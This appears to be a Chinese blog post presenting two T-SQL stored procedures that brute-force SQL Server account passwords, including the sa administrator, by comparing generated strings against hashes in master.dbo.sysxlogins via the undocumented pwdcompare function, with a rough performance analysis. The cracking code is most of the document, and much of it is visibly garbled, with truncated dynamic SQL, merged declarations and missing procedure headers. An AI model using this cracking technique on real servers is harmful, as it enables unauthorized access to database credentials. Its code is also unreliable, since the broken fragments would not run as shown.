代码演示暴力破解MSsql的帐号和密码，包括管理员帐号sa的密码。
网上有sql Server Sa密码破解的存储过程，方法就是暴力破解MSsql的帐号和密码，包括管理员帐号sa的密码，下面我对其它的代码稍做修改，并进行了一些性能分析。
首先说说破解过程序核心思想，就是存储帐号密码的master.dbo.sysxlogins表和未公布的密码比较存储过程pwdcompare。经过一方分析，修改了部分代码，下面贴出修改前后的代码，
一个sql Server Sa密码破解的存储过程
@username sysname=null,--用户名,如果不指定,则列出所有用户
@pwdlen int=2 --要破解的密码的位数,默认是2位及以下的
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aa.id)'
,@s2='cast(aa.id as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwd.type)=1
')
end
select 用户名=name,密码=pwdstr,密码ASCII=pwd
from #pwd
GO
@username sysname=null,默认是2位及以下的
as
set nocount on
if object_id(N'tempdb..#t') is not null
drop table #t
if object_id(N'tempdb..#pwd') is not null
drop table #pwd
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
declare @ss varchar(256)
--select @ss= '123456789'
select @ss= 'abcdefghijklmnopqrstuvwxyz'
select @ss=@ss+ '`0123456789-=[]\;,./'
select @ss=@ss+ '~!@#$%^&*()_+{}|:<>?'
--select @ss=@ss+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
create table #t(c char(1) not null)
alter table #t add constraint PK_#t primary key CLUSTERED (c)
declare @index int
select @index=1
while (@index <=len(@ss))
begin
insert #t select SUBSTRING(@ss,@index,1)
select @index = @index +1
end
select name,pwd=cast('' as varchar(8000))
,times =cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,@s3 varchar(8000),@stimes varchar(8000)
declare @l int,@t bigint
select @t = count(1)*POWER(len(@ss),1) from #pwd
select @l=0
,@s1='aa.c'
,@s2='cast(ASCII(aa.c) as varchar)'
,#t aa'
,@stimes='1th,' + cast(@t as varchar(20)) + 'rows'
exec('
update pwd set jm=1,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
select @t = count(1)*POWER(len(@ss),@l+1) from #pwd
print @t
select
@s1=@s1+'+'+char(@l/26+97)+char(@l%26+97)+'.c'
,''+cast(ASCII('+char(@l/26+97)+char(@l%26+97)+'.c) as varchar)'
,#t '+char(@l/26+97)+char(@l%26+97)
,@stimes=@stimes+';'+ cast(@l+1 as varchar(1)) + 'th,pwd='+@s2+'
,times='''+@stimes+'''
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',密码ASCII=pwd,查询次数和行数=times
from #pwd
if object_id(N'tempdb..#t') is not null
drop table #t
if object_id(N'tempdb..#pwd') is not null
drop table #pwd
我测试如下
性能分析:
本例以一个查询能查询bigint的最大值条记录9223372036854775807为限做为主机最大性能，来粗略计算破解性能。
破解一个帐号的密码长度，破解时间和性能消耗，是以所有用于破解的字符长度为底，以密码长度为指数的指数函数，即：破解帐号个数 * （所有用于破解的字符个数）最长密码长度次方 < 主机最大性能：
原存储过程使用256个破解字符，理论上可以破解7位密码，即2567
